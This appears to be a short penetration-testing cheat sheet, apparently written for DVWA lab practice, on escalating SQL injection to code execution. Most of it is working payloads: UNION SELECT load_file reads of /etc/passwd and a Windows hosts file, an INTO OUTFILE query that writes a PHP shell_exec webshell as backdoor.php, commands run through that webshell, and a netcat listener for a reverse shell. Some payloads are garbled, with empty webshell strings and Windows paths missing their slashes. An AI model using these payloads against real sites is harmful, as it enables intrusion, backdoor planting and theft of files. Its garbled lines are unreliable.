SQLi to code execution
For command exection / revshells , URL encode the payoload
#Capitalized, unix target
‘ UNION SELECT 1, load_file(/etc/passwd) #
#Using into OUTFILE fucntion to upload a webshell
Gotta find the webroot first, in this case we use /var/www
#inject:
'union select 1,’‘ INTO OUTFILE ‘/var/www/dvwa/cmd.php’ #
#Get command execution to further enumerate targets
http://11.11.11.11/dwa/cmd.php?cmd=id
#Using perl to get a reverse shell (use bash/python etc..)
Serve the reverse shell from kali /tmp using http.server
Trigger:
http://11.11.11.11/dwa/cmd.php?cmd=ls /tmp
Catch the revshell:
nc -nvlp 443
#Windows targets
Windows example:
#Using the load_file function
....debug.php?id= union all select 1, 2, load_file('C:/Windows/System32/drivers/etc/hosts')
#Using the into OUTFILE function to get code execution
...debug.php?id=1 union all select 1, 2, "<?php echo shell_exec($_GET['cmd']);?>" into OUTFILE 'c:/xampp/htdocs/backdoor.php'
#then trigger with
http://11.11.11.11/backdoor.php?cmd=ipconfig
#Get command execution, write a webshell into E drive
Webroot in example c:/wamp/www/DVWA/dvwa/
Enumerate actual webroot location of target
....id=‘ union select 1, load_file(‘e:testfile.txt’) #
‘ union select 1, ‘‘ INTO OUTFILE ‘c:wampwwwDVWAdvwacmd.php’#
#command execution
..dwa/cmd.php?cmd=dir
#Practice the basics with
Last updated
